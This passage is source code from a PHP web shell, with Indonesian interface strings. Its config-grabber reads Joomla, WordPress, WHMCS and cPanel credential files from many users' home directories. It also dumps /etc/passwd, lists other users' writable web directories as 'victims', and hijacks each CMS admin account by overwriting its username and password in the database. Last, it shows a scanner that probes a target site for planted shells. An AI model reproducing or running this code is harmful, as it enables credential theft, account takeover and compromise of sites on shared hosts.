  1102.                     "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1103.                     "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1104.                     "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1105.                     "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1106.                     "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1107.                     "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1108.                     "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1109.                     "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1110.                     "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1111.                     "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1112.                     "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1113.                     "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1114.                     "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1115.                     "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1116.                     "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1117.                     "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1118.                     "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1119.                     "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1120.                     "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1121.                     "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1122.                     "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1123.                     "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1124.                     "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1125.                     "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1126.                     "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1127.                     "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1128.                     "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1129.                     "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1130.                     "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1131.                     "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1132.                     "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1133.                     "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  1134.                     "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
  1135.                     "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1136.                     "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1137.                     "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  1138.                     "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1139.                     "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1140.                     "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1141.                     "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1142.                     "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1143.                     "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1144.                     "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1145.                     "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1146.                     "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1147.                     "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1148.                     "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1149.                     "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1150.                     "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1151.                     "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1152.                     "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1153.                     "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1154.                     "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1155.                     "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1156.                     "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1157.                     "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1158.                     "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1159.                     "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1160.                     "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1161.                     "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1162.                     "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1163.                     "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1164.                     "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1165.                     "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1166.                     "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1167.                     "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1168.                     "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1169.                     "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1170.                     "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1171.                     "/home3/$user_cox/.my.cnf" => "cpanel",
  1172.                     "/home3/$user_cox/.accesshash" => "WHM-accesshash",
  1173.                     "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1174.                     "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1175.                     "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1176.                     "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  1177.                     "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1178.                     "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
  1179.                     "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1180.                     "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1181.                     "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1182.                     "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
  1183.                     "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
  1184.                     "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  1185.                     "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1186.                     "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1187.                     "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1188.                     "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1189.                     "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1190.                     "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  1191.                     "/home3/$user_cox/public_html/configuration.php" => "Joomla",                  
  1192.                     "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1193.                     "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1194.                     "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  1195.                     "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1196.                     "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1197.                     "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1198.                     "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1199.                     "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1200.                     "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1201.                     "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1202.                     "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1203.                     "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1204.                     "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1205.                     "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1206.                     "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1207.                     "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1208.                     "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1209.                     "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1210.                     "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1211.                     "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1212.                     "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1213.                     "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1214.                     "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1215.                     "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1216.                     "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1217.                     "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1218.                     "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1219.                     "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1220.                     "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1221.                     "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1222.                     "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1223.                     "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1224.                     "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1225.                     "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1226.                     "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1227.                     "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  1228.                     "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
  1229.                     "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1230.                     "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1231.                     "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  1232.                     "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1233.                     "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1234.                     "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1235.                     "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1236.                     "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1237.                     "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1238.                     "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1239.                     "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1240.                     "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1241.                     "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1242.                     "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1243.                     "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1244.                     "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1245.                     "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1246.                     "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1247.                     "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1248.                     "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1249.                     "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1250.                     "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1251.                     "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1252.                     "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1253.                     "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1254.                     "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1255.                     "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1256.                     "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1257.                     "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1258.                     "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1259.                     "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1260.                     "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1261.                     "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1262.                     "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1263.                     "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1264.                     "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"                   
  1265.                         ); 
  1266.                     foreach($grab_config as $config => $nama_config) {
  1267.                         $ambil_config = file_get_contents($config);
  1268.                         if($ambil_config == '') {
  1269.                         } else {
  1270.                             $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
  1271.                             fputs($file_config,$ambil_config);
  1272.                         }
  1273.                     }
  1274.                 }      
  1275.             }
  1276.             echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
  1277.             }else{
  1278.                
  1279.         echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1280.         echo file_get_contents('/etc/passwd');
  1281.         echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  1282.         }
  1283. } elseif($_GET['do'] == 'jumping') {
  1284.     $i = 0;
  1285.     echo "<pre><div class='margin: 5px auto;'>";
  1286.     $etc = fopen("/etc/passwd", "r");
  1287.     while($passwd = fgets($etc)) {
  1288.         if($passwd == '' || !$etc) {
  1289.             echo "<font color=red>Can't read /etc/passwd</font>";
  1290.         } else {
  1291.             preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1292.             foreach($user_jumping[1] as $user_idx_jump) {
  1293.                 $user_jumping_dir = "/home/$user_idx_jump/public_html";
  1294.                 if(is_readable($user_jumping_dir)) {
  1295.                     $i++;
  1296.                     $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1297.                     if(is_writable($user_jumping_dir)) {
  1298.                         $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1299.                     }
  1300.                     echo $jrw;
  1301.                     $domain_jump = file_get_contents("/etc/named.conf");   
  1302.                     if($domain_jump == '') {
  1303.                         echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  1304.                     } else {
  1305.                         preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1306.                         foreach($domains_jump[1] as $dj) {
  1307.                             $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1308.                             $user_jumping_url = $user_jumping_url['name'];
  1309.                             if($user_jumping_url == $user_idx_jump) {
  1310.                                 echo " => ( <u>$dj</u> )<br>";
  1311.                                 break;
  1312.                             }
  1313.                         }
  1314.                     }
  1315.                 }
  1316.             }
  1317.         }
  1318.     }
  1319.     if($i == 0) {
  1320.     } else {
  1321.         echo "<br>Total ada ".$i." calon korban di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  1322.     }
  1323.     echo "</div></pre>";
  1324. } elseif($_GET['do'] == 'auto_edit_user') {
  1325.     if($_POST['hajar']) {
  1326.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1327.             echo "username atau password harus lebih dari 6 karakter";
  1328.         } else {
  1329.             $user_baru = $_POST['user_baru'];
  1330.             $pass_baru = md5($_POST['pass_baru']);
  1331.             $conf = $_POST['config_dir'];
  1332.             $scan_conf = scandir($conf);
  1333.             foreach($scan_conf as $file_conf) {
  1334.                 if(!is_file("$conf/$file_conf")) continue;
  1335.                 $config = file_get_contents("$conf/$file_conf");
  1336.                 if(preg_match("/JConfig|joomla/",$config)) {
  1337.                     $dbhost = ambilkata($config,"host = '","'");
  1338.                     $dbuser = ambilkata($config,"user = '","'");
  1339.                     $dbpass = ambilkata($config,"password = '","'");
  1340.                     $dbname = ambilkata($config,"db = '","'");
  1341.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  1342.                     $prefix = $dbprefix."users";
  1343.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1344.                     $db = mysql_select_db($dbname);
  1345.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1346.                     $result = mysql_fetch_array($q);
  1347.                     $id = $result['id'];
  1348.                     $site = ambilkata($config,"sitename = '","'");
  1349.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  1350.                     echo "Config => ".$file_conf."<br>";
  1351.                     echo "CMS => Joomla<br>";
  1352.                     if($site == '') {
  1353.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1354.                     } else {
  1355.                         echo "Sitename => $site<br>";
  1356.                     }
  1357.                     if(!$update OR !$conn OR !$db) {
  1358.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1359.                     } else {
  1360.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1361.                     }
  1362.                     mysql_close($conn);
  1363.                 } elseif(preg_match("/WordPress/",$config)) {
  1364.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  1365.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  1366.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1367.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  1368.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1369.                     $prefix = $dbprefix."users";
  1370.                     $option = $dbprefix."options";
  1371.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1372.                     $db = mysql_select_db($dbname);
  1373.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1374.                     $result = mysql_fetch_array($q);
  1375.                     $id = $result[ID];
  1376.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1377.                     $result2 = mysql_fetch_array($q2);
  1378.                     $target = $result2[option_value];
  1379.                     if($target == '') {
  1380.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1381.                     } else {
  1382.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1383.                     }
  1384.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1385.                     echo "Config => ".$file_conf."<br>";
  1386.                     echo "CMS => Wordpress<br>";
  1387.                     echo $url_target;
  1388.                     if(!$update OR !$conn OR !$db) {
  1389.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1390.                     } else {
  1391.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1392.                     }
  1393.                     mysql_close($conn);
  1394.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1395.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1396.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1397.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1398.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1399.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1400.                     $prefix = $dbprefix."admin_user";
  1401.                     $option = $dbprefix."core_config_data";
  1402.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1403.                     $db = mysql_select_db($dbname);
  1404.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1405.                     $result = mysql_fetch_array($q);
  1406.                     $id = $result[user_id];
  1407.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1408.                     $result2 = mysql_fetch_array($q2);
  1409.                     $target = $result2[value];
  1410.                     if($target == '') {
  1411.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1412.                     } else {
  1413.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1414.                     }
  1415.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1416.                     echo "Config => ".$file_conf."<br>";
  1417.                     echo "CMS => Magento<br>";
  1418.                     echo $url_target;
  1419.                     if(!$update OR !$conn OR !$db) {
  1420.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1421.                     } else {
  1422.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1423.                     }
  1424.                     mysql_close($conn);
  1425.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1426.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1427.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1428.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1429.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1430.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1431.                     $prefix = $dbprefix."user";
  1432.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1433.                     $db = mysql_select_db($dbname);
  1434.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1435.                     $result = mysql_fetch_array($q);
  1436.                     $id = $result[user_id];
  1437.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  1438.                     if($target == '') {
  1439.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1440.                     } else {
  1441.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1442.                     }
  1443.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1444.                     echo "Config => ".$file_conf."<br>";
  1445.                     echo "CMS => OpenCart<br>";
  1446.                     echo $url_target;
  1447.                     if(!$update OR !$conn OR !$db) {
  1448.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1449.                     } else {
  1450.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1451.                     }
  1452.                     mysql_close($conn);
  1453.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1454.                     $dbhost = ambilkata($config,'server = "','"');
  1455.                     $dbuser = ambilkata($config,'username = "','"');
  1456.                     $dbpass = ambilkata($config,'password = "','"');
  1457.                     $dbname = ambilkata($config,'database = "','"');
  1458.                     $prefix = "users";
  1459.                     $option = "identitas";
  1460.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1461.                     $db = mysql_select_db($dbname);
  1462.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1463.                     $result = mysql_fetch_array($q);
  1464.                     $target = $result[alamat_website];
  1465.                     if($target == '') {
  1466.                         $target2 = $result[url];
  1467.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1468.                         if($target2 == '') {
  1469.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1470.                         } else {
  1471.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  1472.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1473.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1474.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1475.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1476.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1477.                             } else {
  1478.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1479.                             }
  1480.                         }
  1481.                     } else {
  1482.                         $cek_login = file_get_contents("$target/adminweb/");
  1483.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1484.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1485.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1486.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1487.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1488.                         } else {
  1489.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1490.                         }
  1491.                     }
  1492.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1493.                     echo "Config => ".$file_conf."<br>";
  1494.                     echo "CMS => Lokomedia<br>";
  1495.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1496.                         echo $url_target2;
  1497.                     } else {
  1498.                         echo $url_target;
  1499.                     }
  1500.                     if(!$update OR !$conn OR !$db) {
  1501.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1502.                     } else {
  1503.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1504.                     }
  1505.                     mysql_close($conn);
  1506.                 }
  1507.             }
  1508.         }
  1509.     } else {
  1510.         echo "<center>
  1511.         <h1>Auto Edit User Config</h1>
  1512.         <form method='post'>
  1513.         DIR Config: <br>
  1514.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1515.         Set User & Pass: <br>
  1516.         <input type='text' name='user_baru' value='bayz21' placeholder='user_baru'><br>
  1517.         <input type='text' name='pass_baru' value='madz21' placeholder='pass_baru'><br>
  1518.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1519.         </form>
  1520.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1521.         ";
  1522.     }
  1523. }elseif($_GET['do'] == 'shelscan') {
  1524.     echo'<center><h2>Shell Finder</h2>
  1525. <form action="" method="post">
  1526. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  1527. <br>
  1528. <input name="scan" value="Start Scaning"  style="width: 215px;" type="submit">
  1529. </form><br>';
  1530. if (isset($_POST["scan"])) {  
  1531. $url = $_POST['traget'];
  1532. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  1533. echo "Result :<br />";
  1534. $shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  1535. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  1536. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  1537. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  1538. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  1539. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  1540. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  1541. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  1542. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  1543. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  1544. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  1545. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  1546. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  1547. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  1548. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  1549. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
  1550. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
